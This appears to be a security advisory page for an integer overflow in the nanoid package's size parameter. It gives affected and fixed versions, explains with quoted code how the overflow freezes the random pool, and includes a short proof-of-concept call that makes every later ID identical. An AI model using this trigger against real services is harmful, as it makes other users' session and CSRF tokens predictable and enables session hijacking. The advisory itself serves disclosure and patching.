nanoid: Integer Overflow or Wraparound
Affected releases · nanoid
- 5.x5.0.0 – 5.1.10Fixed in 5.1.11
- 4.x4.0.0 – 4.0.2No fix on this line yet
- 3.x3.0.0 – 3.3.11Fixed in 3.3.12
- 2.x and older0.1.0 – 2.1.11No fix, no longer updated
On 5.x, the newest line:
npm install nanoid@5.1.11Not affected
6.0.0 – 6.0.2
3 releases, latest
Affected
5.0.0 – 5.1.10
21 releases
Fixed
5.1.11 – 5.1.16
6 releases
Affected
4.0.0 – 4.0.2
3 releases
Affected
3.0.0 – 3.3.11
49 releases
Fixed
3.3.12 – 3.3.20
9 releases
Affected
2.0.0 – 2.1.11
17 releases
Affected
1.0.0 – 1.3.4
22 releases
Affected
0.1.0 – 0.2.2
5 releases
Is your project affected?
Paste your package.json, or type the range you declare for nanoid. It is read in your browser and sent nowhere.
What happens
Summary
An integer overflow in nanoid(size) permanently corrupts the process-wide CSPRNG pool, causing all subsequent ID generation to return the deterministic string "uuuuuuuuuuuuuuuuuuuuu". Any application that passes user-influenced values to the size parameter loses all randomness guarantees for session tokens, CSRF tokens, and unique identifiers until process restart.
Details
nanoid() at index.js:101 coerces the size parameter with size |= 0, which converts it to a signed 32-bit integer. When size >= 2^31 (e.g., 2147483648), this wraps to -2147483648.
The negative value is passed to fillPool() (index.js:15):
function fillPool(bytes) {
if (!pool || pool.length < bytes) { // false: pool exists, -2B < pool.length
pool = Buffer.allocUnsafe(bytes * POOL_SIZE_MULTIPLIER)
crypto.getRandomValues(pool)
poolOffset = 0
} else if (poolOffset + bytes > pool.length) { // false: poolOffset + (-2B) < pool.length
crypto.getRandomValues(pool)
poolOffset = 0
}
poolOffset += bytes // poolOffset += -2147483648 → deeply negative
}Neither branch triggers, so the pool is never refreshed. poolOffset becomes ~-2.1 billion.
Subsequent nanoid() calls execute:
for (let i = poolOffset - size; i < poolOffset; i++) {
id += scopedUrlAlphabet[pool[i] & 63]
}pool[negative_index] returns undefined. undefined & 63 evaluates to 0. urlAlphabet[0] is 'u'. Every ID becomes "uuuuuuuuuuuuuuuuuuuuu".
The corruption is persistent — it affects all subsequent calls in the process until ~100 million calls eventually wrap poolOffset back to positive, or the process restarts.
PoC
import { nanoid } from 'nanoid'
// Step 1: Normal operation
console.log(nanoid()) // e.g., "V1StGXR8_Z5jdHi6B-myT"
// Step 2: Trigger overflow (e.g., from an API parameter)
try { nanoid(2147483648) } catch(e) {}
// Step 3: All subsequent IDs are deterministic
console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu"
console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu"
console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu"
// ... forever, process-wideRun with: node --experimental-vm-modules poc.mjs
Attack scenario: Any API endpoint that accepts a user-controlled length/size parameter (URL shortener slug length, configurable token size, etc.) and passes it to nanoid(userInput).
Impact
Complete loss of ID unpredictability and uniqueness, process-wide, from a single request.
All session IDs, CSRF tokens, API keys, and database identifiers generated after the attack are identical and predictable
An attacker can predict all tokens issued to other users, enabling session hijacking and authentication bypass
The corruption is persistent (survives across requests) and affects all consumers of
nanoidin the same processNo special privileges or preconditions required — a single unauthenticated request is sufficient
Affects any application that passes external input to the
sizeparameter without validation